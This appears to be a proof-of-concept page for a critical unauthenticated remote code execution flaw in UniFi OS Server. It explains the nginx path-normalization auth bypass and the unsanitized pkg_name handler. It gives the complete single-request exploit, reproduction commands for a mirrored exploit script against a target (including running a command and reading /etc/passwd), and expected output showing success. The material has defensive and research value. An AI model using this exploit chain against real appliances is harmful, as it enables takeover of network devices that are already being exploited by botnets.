UniFi OS -- Unauthenticated Command Injection RCE (CVE-2026-34910)

CVE-2026-34910 is an unauthenticated command injection vulnerability in Ubiquiti UniFi OS Server, rated CVSS 10.0 and listed in CISA KEV. The nginx auth layer treats any request whose raw URI starts with /api/auth/validate-sso/ as public, but routes by the normalized URI (decoding %2f and collapsing ../). Encoding a path traversal makes the two diverge, granting unauthenticated access to internal proxy backends. The internal package-update handler passes pkg_name unsanitized to sudo systemctl stop, enabling command injection via semicolon – unauthenticated RCE in a single request.

The same traversal primitive against /app-assets/ reads files off disk (CVE-2026-34909). The auth bypass itself is CVE-2026-34908. A Mirai-derived botnet (azsxd implant) has been observed exploiting these in the wild.

Root Cause

The nginx reverse proxy uses the raw URI for authentication decisions but the normalized URI for routing. The /api/auth/validate-sso/ prefix is whitelisted as public. URL-encoded traversal (..%2f) bypasses the auth check while routing reaches internal /proxy/ backends.

The latest_package handler builds sudo systemctl stop <pkg_name> without sanitization, allowing semicolon-based command injection.

Attack Flow

1. Auth bypass: GET /api/auth/validate-sso/..%2f..%2f..%2fproxy/users/api/v2/ucs/update/latest_package
2. Command injection: Append ?pkg_name=evil;<CMD>&by_cmd=true
3. Execution: Command runs as ucs-update user on the appliance

Impact

• Unauthenticated remote code execution in a single HTTP request
• Arbitrary file read via path traversal (CVE-2026-34909)
• Actively exploited ITW by Mirai-derived botnet
• CISA KEV listed

See CVE-2026-34910.py (157 lines) and CVE-2026-34908-unifi-auth-bypass.yaml (Nuclei template) mirrored from Boreas37/CVE-2026-34910-PoC.

Step-by-Step Reproduction

1. Auth bypass probe: python3 CVE-2026-34910.py https://<target>:11443 --check
2. RCE: python3 CVE-2026-34910.py https://<target>:11443 "id > /tmp/out.txt"
3. RCE proof: python3 CVE-2026-34910.py https://<target>:11443 --proof
4. File read: python3 CVE-2026-34910.py https://<target>:11443 --read /etc/passwd

Expected Output

$ python3 CVE-2026-34910.py https://127.0.0.1:11443 --proof
[*] HTTP 200
[*] Yanit: {"code":-3,"codeS":"CODE_SYSTEM_ERROR",...}
[+] Istek gonderildi -- komut hedefte calistirildi

-rw-r--r-- 1 ucs-update ucs-update 0 /tmp/PWNED_34910

• Ubiquiti SAB-064
• NVD – CVE-2026-34910
• CISA KEV
• Boreas37/CVE-2026-34910-PoC (upstream)
• pwndefend Mirai exploitation writeup

Two files screened: CVE-2026-34910.py (157 lines, Python 3 stdlib only – urllib, ssl, argparse) and CVE-2026-34908-unifi-auth-bypass.yaml (Nuclei detection template). No external dependencies. All network activity directed at user-specified target only.

No obfuscation, no remote downloaders, no credential exfiltration, no callbacks. Verified by author against real UniFi OS Server 5.0.6 in Docker with completed setup wizard. RCE confirmed via file creation. Patched 5.1.21 confirmed negative.